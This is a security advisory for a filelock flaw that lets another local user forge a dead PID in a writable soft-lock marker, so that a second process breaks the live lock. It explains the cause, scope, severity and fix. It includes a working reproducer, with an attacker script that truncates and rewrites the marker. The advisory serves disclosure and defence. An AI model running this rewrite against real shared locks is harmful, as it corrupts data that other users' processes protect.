Skip to content

GHSA-rfpc-qcw5-3pc4 CVE-2026-112939

filelock: SoftFileLock removes a live holder's marker when another user forges the PID in a writable marker

Medium PyPI
Severity
4.7 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.14%
Chance of exploitation in the next 30 days. Higher than 3.31% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-345 Insufficient Verification of Data Authenticity
Fix
4.2.1
Upgrade filelock to this version or later

Description

SoftFileLock, MarkerSoftFileLock, SoftFileLease, their async variants and a FileLock that has fallen back to a soft lock on ENOSYS decide from the record inside the marker file whether its owner is gone. The marker is the file whose presence says a process holds the lock. They do not check who could have written that record.

A local user who can write the marker but cannot remove it rewrites the holder's record to name a dead PID (process id). That position arises with an explicit mode with group or other write bits, or the default mode under a lax umask (the process setting that strips permission bits from new files), in a sticky or otherwise non-removable directory. The sticky bit is a directory flag that lets only a file's owner remove or rename it. The next contender running as the holder's account, or root, judges the lock stale, removes the live marker on that user's behalf and acquires it. Two processes then run the critical section together and neither gets an error. Affected versions are filelock 3.22.0 through 4.2.0 (finding ANT-2026-W1H9NXUH).

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N scores 4.7 (Medium). AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:H (high attack complexity): the marker must carry group or other write bits (an explicit permissive mode, or umask 002/000 with a shared group), and a contender of the holder's account must ask for the lock while the forged record is in place. I:H (high integrity impact): two holders then write whatever the lock protects, and the holder is not told. C:N and A:N (no confidentiality or availability impact). S:U (scope unchanged). Classification from the review: security, conditional on another user being able to write the live marker. The scanner rated it high (CWE-345). The default mode under umask 022 is not affected.

Scope and preconditions

  • The other user can write the marker. The application passes a mode with group or other write bits, which fchmod applies as given since 4.1.0. 0o666 is a common choice for a lock shared between accounts, although a soft-lock contender of another account waits as well on a 0o644 marker, since contenders only read and rename. Or the application uses the default mode (0o666 through the umask) under umask 002 in a directory whose group the other user belongs to, or under umask 000. The default mode under umask 022 is not affected.
  • The other user cannot remove the marker itself: the directory is sticky, or the other user cannot write it at all (a 0755 directory owned by the lock's user gives the same overlap). In a non-sticky shared directory the other user can unlink the marker without filelock, and filelock adds nothing.
  • A contender that may rename the marker asks for the lock: another process of the holder's account (several workers of one user) or root. A contender of another unprivileged account cannot rename the marker in a sticky directory and times out.
  • The finding reaches every class that publishes a soft marker: SoftFileLock, MarkerSoftFileLock, SoftFileLease, their async variants, and FileLock(mode=0o666) on a filesystem where flock (a kernel lock on an open file) fails with ENOSYS.

These protections against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.

Affected code

At the scanned commit b831496: the create mode in SoftFileLock._acquire, the explicit-mode fchmod in _apply_explicit_mode, the trusting verdict in _try_break_stale_lock and the owner_is_stale it relies on; the same call in MarkerSoftFileLock and SoftFileLease.

Introduced

The stale verdict that trusts the record came in with e35c3afac473 ("feat(soft): detect and break stale locks", #476, 2026-02-13), first released in 3.22.0. From then on a marker left group- or other-writable by the umask is forgeable. The reproducer's exact configuration, an explicit mode=0o666 under umask 022, needs 66d309d ("fix(soft): honour mode and tighten marker grammar", #807), first released in 4.1.0. Both match the git tags.

Mechanism

A contender whose O_CREAT | O_EXCL create fails with EEXIST goes to _try_break_stale_lock. _read_lock_file makes sure the path is a regular file (lstat, O_NOFOLLOW open, fstat) and returns its content, mtime and inode (the kernel's identity for a file, independent of its name). It has the fstat result in hand but does not look at st_uid or st_mode. The code parses the content into pid, hostname and start token and hands them to owner_is_stale, whose docstring promises to return True "only when this process can prove the exact recorded owner is dead". That proof holds only if the owner wrote the record. A process of another account that can open the marker for writing uses O_WRONLY | O_TRUNC (no O_CREAT, so fs.protected_regular does not block it) and writes 2147483647\n<host>\n, keeping the host line. The host matches, PID 2147483647 does not exist, and owner_is_stale returns True.

break_lock_file renames the marker to <lock>.break.<pid>.<token> and unlinks it. Its mtime and inode guard compares against what the contender read after the rewrite, so it passes. The contender, which runs as the marker's owner, does the rename, so the sticky bit allows it. On the next poll the contender's O_EXCL create succeeds. The first holder is not told: SoftFileLock has no heartbeat, and on release _unlink_open_marker finds another inode or no file at the path and returns without an error.

Other records lead to the same break, each run by the scanner the same way: the holder's own PID and host with a different third line (owner_is_stale reads a live PID with another start token as a recycled PID); an empty file (malformed, broken after MALFORMED_LOCK_AGE_THRESHOLD, 2 s). MarkerSoftFileLock and SoftFileLease apply owner_is_stale to the pid=, host= and start= fields of a protocol 2 record, and rewriting pid= admitted a second process for both. A SoftFileLease holder learns of it at its next heartbeat through on_compromise; SoftFileLock and MarkerSoftFileLock holders do not learn of it at all.

The marker becomes writable by another account in two ways. An explicit mode with group or other write bits goes through fchmod, so the umask does not narrow it (test_lock_mode_soft at the scanned commit pins -rw-rw-rw- under umask 022). The default mode passes 0o666 to os.open, so under umask 002 the marker is 0o664. With no mode argument, in a setgid and sticky group directory (3770), a second member of the group rewrote the marker and a second process of the holder's user acquired the same way. Under umask 000 the marker is 0o666 and any local user can rewrite it. FileLock(mode=0o666) on a filesystem where flock fails with ENOSYS falls back to SoftFileLock and produces the same -rw-rw-rw- marker (confirmed with fcntl.flock replaced by a stub raising ENOSYS). With mode=0o644, or no mode under umask 022, the other user's open fails with EACCES and the second process times out.

Reproduction

The scanner's reproducer for ANT-2026-W1H9NXUH, quoted as received. It ran against commit b831496b0273.

repro

#!/usr/bin/env python3
import os
import pwd
import shutil
import stat
import subprocess
import sys
import tempfile
import time

# root bypasses file permissions, so each party runs as one of the image's unprivileged accounts
AS_VICTIM = ["runuser", "-u", "victim", "--", sys.executable]
AS_ATTACKER = ["runuser", "-u", "attacker", "--"]
WORKER = "/tmp/repro.d/worker.py"
REWRITE_MARKER = "/tmp/repro.d/rewrite_marker.py"

# set up: a sticky, world-writable directory like /tmp; both workers print "entered" / "left" into one shared log
shared_dir = tempfile.mkdtemp(prefix="shared-", dir="/tmp")
os.chmod(shared_dir, 0o1777)
lock_path = os.path.join(shared_dir, "cache.lock")
log_path = os.path.join(shared_dir, "order.log")
log = open(log_path, "w")

first = subprocess.Popen([*AS_VICTIM, WORKER, lock_path, "first", "6"], stdout=log)
while "first entered" not in open(log_path).read():
    assert first.poll() is None, "the first worker did not get the lock"
    time.sleep(0.05)

marker = os.stat(lock_path)
print("marker:", stat.filemode(marker.st_mode), pwd.getpwuid(marker.st_uid).pw_name, repr(open(lock_path).read()))

# before the attack: the second worker times out, and the attacker cannot delete the marker from the sticky directory
second_before = subprocess.run([*AS_VICTIM, WORKER, lock_path, "second", "0.5"], stdout=log, stderr=subprocess.PIPE, text=True)
print("second worker:", second_before.stderr.splitlines()[-1])
assert "Timeout" in second_before.stderr
rm = subprocess.run([*AS_ATTACKER, "rm", "-f", lock_path], capture_output=True, text=True)
print("attacker:", rm.stderr.strip())
assert rm.returncode != 0

# attack: no check=True, because under a fix the marker is not writable by others, and then this step fails
subprocess.run([*AS_ATTACKER, sys.executable, REWRITE_MARKER, lock_path])
print("marker after the attack:", repr(open(lock_path).read()))

# the second worker tries again, exactly as before
subprocess.run([*AS_VICTIM, WORKER, lock_path, "second", "0.5"], stdout=log)
print("first worker exit status:", first.wait())

# check: a correct lock keeps the second worker out until the first has left
order = open(log_path).read().splitlines()
print("order:", order)
shutil.rmtree(shared_dir)
print("BUG" if order == ["first entered", "second entered", "second left", "first left"] else "OK")

repro.d/rewrite_marker.py

#!/usr/bin/env python3
# The attacker, another account: overwrite the live holder's record in place with one naming a PID that cannot exist.
import os
import sys

lock_path = sys.argv[1]
NO_SUCH_PID = 2**31 - 1  # the largest PID the marker parser accepts; Linux pid_max is at most 2**22

holder_host = open(lock_path).read().splitlines()[1]  # owner_is_stale only judges records from its own host
marker = os.open(lock_path, os.O_WRONLY | os.O_TRUNC)  # no O_CREAT, so fs.protected_regular does not refuse it
os.write(marker, f"{NO_SUCH_PID}\n{holder_host}\n".encode())
os.close(marker)

repro.d/worker.py

#!/usr/bin/env python3
# One of several workers of the victim's application; they take turns under a soft lock in a shared directory.
import sys
import time

from filelock import SoftFileLock

lock_path, name, work_seconds = sys.argv[1], sys.argv[2], float(sys.argv[3])

# mode=0o666 so that the lock file can be used from several accounts
with SoftFileLock(lock_path, mode=0o666, timeout=1):
    print(name, "entered", flush=True)
    time.sleep(work_seconds)
    print(name, "left", flush=True)

Attack sequence

sequenceDiagram
    participant H as holder (uid victim)
    participant M as cache.lock (0666, owner victim, sticky dir)
    participant A as other account (uid attacker)
    participant C as contender (uid victim)
    H->>M: O_CREAT|O_EXCL create, fchmod 0o666, write "pid host token"
    C->>M: O_EXCL fails, read record: holder alive, Timeout
    A->>M: rm: EPERM (sticky directory)
    rect rgb(255, 214, 214)
        A->>M: open O_WRONLY|O_TRUNC, write "2147483647 host"
        C->>M: read record, owner_is_stale: PID 2147483647 is dead
        C->>M: rename to cache.lock.break.*, unlink (the owner may)
        C->>C: next poll: O_EXCL succeeds, enters beside H
        Note over H,C: both inside, no error, H's release finds another inode and returns
    end

Evidence

The scanner's reproducer runs two victim workers on with SoftFileLock(path, mode=0o666, timeout=1): in a root-owned 1777 directory under /tmp (overlayfs, fs.protected_regular=2), with attacker uid 1001 sharing no group with victim. It printed the marker as -rw-rw-rw- victim '<pid>\n<host>\n<start token>\n', the second worker's Timeout, rm: cannot remove ...: Operation not permitted for attacker, the marker after the rewrite as '2147483647\n<host>\n', first worker exit status 0, and the log order ['first entered', 'second entered', 'second left', 'first left']. The second worker entered and left while the first was still inside its with block, about 50 ms after the rewrite, on its second poll. It prints BUG every time, in about 6 s. Our review ran the same reproducer: BUG on 4.2.0, OK on the head of #836. The review also tried umask 000 with the default mode.

Impact

A local user who can write a soft lock's marker but cannot remove it gets a second process admitted into the critical section while the first holder is still inside. With no lifetime set, SoftFileLock and MarkerSoftFileLock give neither process a signal. Whatever the lock protects (a cache, an install directory, a state file) then has two concurrent writers. The other user chooses the moment and gains nothing else: it touches no file other than the marker. The process that rewrites the record runs under a different UID from the holder; the same-UID contender only follows the protocol.

Workarounds

Do not give soft markers group or other write bits: pass no mode (or mode=0o644) under umask 022. A soft-lock contender of another account waits as well on a 0o644 marker, because contenders only read and rename. The write bits matter only for the native flock lock and for FileLock's first open before it falls back to a soft lock. Avoid umask 002 or 000 for processes that take soft locks in directories shared with other accounts, and keep lock files in a directory other users cannot write.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/836

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

  • 2026-10-15 23:08 UTC: report received (finding ANT-2026-W1H9NXUH, scanned commit b831496b0273)
  • 2026-10-16 00:46 UTC: draft advisory
  • 2026-10-16 01:16 UTC: fix PR #836 opened

Affected versions

PyPI

PackageVulnerableFixed in
filelock
>= 3.22.0, < 4.2.1
4.2.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

filelock PyPI → 4.2.1

pip
pip install --upgrade "filelock>=4.2.1"
poetry
poetry add "filelock>=4.2.1"
uv
uv add "filelock>=4.2.1"

Severity breakdown

CVSS 3.1 4.7

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Weakness

CWE-345: Insufficient Verification of Data Authenticity

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-wfhq-q4j2-c37m
filelock: SoftReadWriteLock follows a lock tree swapped in after its first acquire and writes lock records into directories of the user running the lock
Low Also affects filelock
GHSA-6627-m3xw-93mp
filelock: StrictSoftFileLock creates its claim directories without the lock mode, so another local user with a write bit on them can end a live hold
Medium Also affects filelock
GHSA-9c4x-gm8v-wgc4
filelock: StrictSoftFileLock and SoftReadWriteLock adopt a protocol directory another user created first, losing mutual exclusion
Medium Also affects filelock
GHSA-8mx5-7m5m-r77g
filelock: WindowsFileLock ignores mode: a 0o600 lock file and the ReadWriteLock database inherit the directory ACL
Medium Also affects filelock
GHSA-cwqr-hh33-gh44
filelock ReadWriteLock: a crafted lock database makes every acquire stall or hang regardless of timeout
Medium Also affects filelock
GHSA-9j6q-wvj5-jgjg
filelock: Symlink swap during SoftFileLock's writability check leaks whether a path exists and is writable by the lock taker
Low Also affects filelock
GHSA-69hj-f68j-2879
filelock: UnixFileLock truncates and chmods any regular file another user renames or hard-links onto the lock path
Medium Also affects filelock
GHSA-j8f7-rjxc-mr56
filelock: ReadWriteLock follows a symlink at the lock path into SQLite
Medium Also affects filelock
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor